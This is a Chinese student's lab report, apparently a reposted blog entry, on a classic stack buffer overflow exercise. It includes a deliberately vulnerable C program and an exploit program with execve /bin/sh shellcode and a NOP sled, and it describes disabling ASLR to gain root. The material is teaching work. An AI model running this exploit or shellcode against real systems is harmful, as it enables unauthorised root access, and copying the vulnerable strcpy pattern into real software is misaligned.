20165336缓冲区溢出漏洞实验

20165336缓冲区溢出漏洞实验

练习一:按照实验步骤进行操作,攻击漏洞程序并获得 root 权限。

  • 实验准备:安装一些用于编译 32 位 C 程序的软件包。

  • 初始设置:关闭地址空间随机化来随机堆(heap)和栈(stack)的初始地址,为了重现这一防护措施被实现之前的情形,使用另一个 shell 程序(zsh)代替 /bin/bash。

  • 什么是shellcode:一般情况下,缓冲区溢出会造成程序崩溃,在程序中,溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址,那么程序就会跳转到该地址,如果该地址存放的是一段精心设计的代码用于实现其他功能,这段代码就是 shellcode。
  • 漏洞程序:GCC编译器有一种栈保护机制来阻止缓冲区溢出,所以我们在编译代码时需要用 –fno-stack-protector 关闭这种机制。 而 -z execstack 用于允许执行栈。

/* stack.c */

/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
    char buffer[12];

    /* The following statement has a buffer overflow problem */ 
    strcpy(buffer, str);

    return 1;
}

int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;

    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);

    printf("Returned Properly\n");
    return 1;
}

  • 攻击程序
/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[] =
    "\x31\xc0" //xorl %eax,%eax
    "\x50"     //pushl %eax
    "\x68""//sh" //pushl $0x68732f2f
    "\x68""/bin"     //pushl $0x6e69622f
    "\x89\xe3" //movl %esp,%ebx
    "\x50"     //pushl %eax
    "\x53"     //pushl %ebx
    "\x89\xe1" //movl %esp,%ecx
    "\x99"     //cdq
    "\xb0\x0b" //movb $0x0b,%al
    "\xcd\x80" //int $0x80
    ;

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;

    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);

    /* You need to fill the buffer with appropriate contents here */
    strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");   //在buffer特定偏移处起始的四个字节覆盖sellcode地址  
    strcpy(buffer + 100, shellcode);   //将shellcode拷贝至buffer,偏移量设为了 100

    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}

  • 攻击结果:通过运行攻击程序exploit,在运行漏洞程序stack,通过攻击获得root权限。

练习二:通过命令 sudo sysctl -w kernel.randomize_va_space=2 打开系统的地址空间随机化机制,重复用 exploit 程序攻击 stack 程序,观察能否攻击成功,能否获得root权限。

练习三:将 /bin/sh 重新指向 /bin/bash(或/bin/dash),观察能否攻击成功,能否获得 root 权限。

练习感受与遇到的问题

  • 遇到的问题:按照实验步骤前面一直出现段错误,经过自己仔细的检查发现,再修改地址的时候是十六进制修改,自己算成了十进制修改,导致出错所以一直显示段错误。

  • 练习感受:通过这次实验我提高了动手能力,感觉实验楼丰富了自己的知识,虽然这次实验顺利完成了但是我认为有些代码还未内化,需要自己拓宽自己的知识面才能弥补,在做实验的过程中自己做了很多遍,第一遍根本没搞懂自己在干啥,在不断的练习中才知道这次实验的重点在哪里,在不断的解决问题中完成了实验内心还是有成就感的,相信在不断努力下以后会做得更好。

猜你喜欢

转载自www.cnblogs.com/20165336kzq/p/9783585.html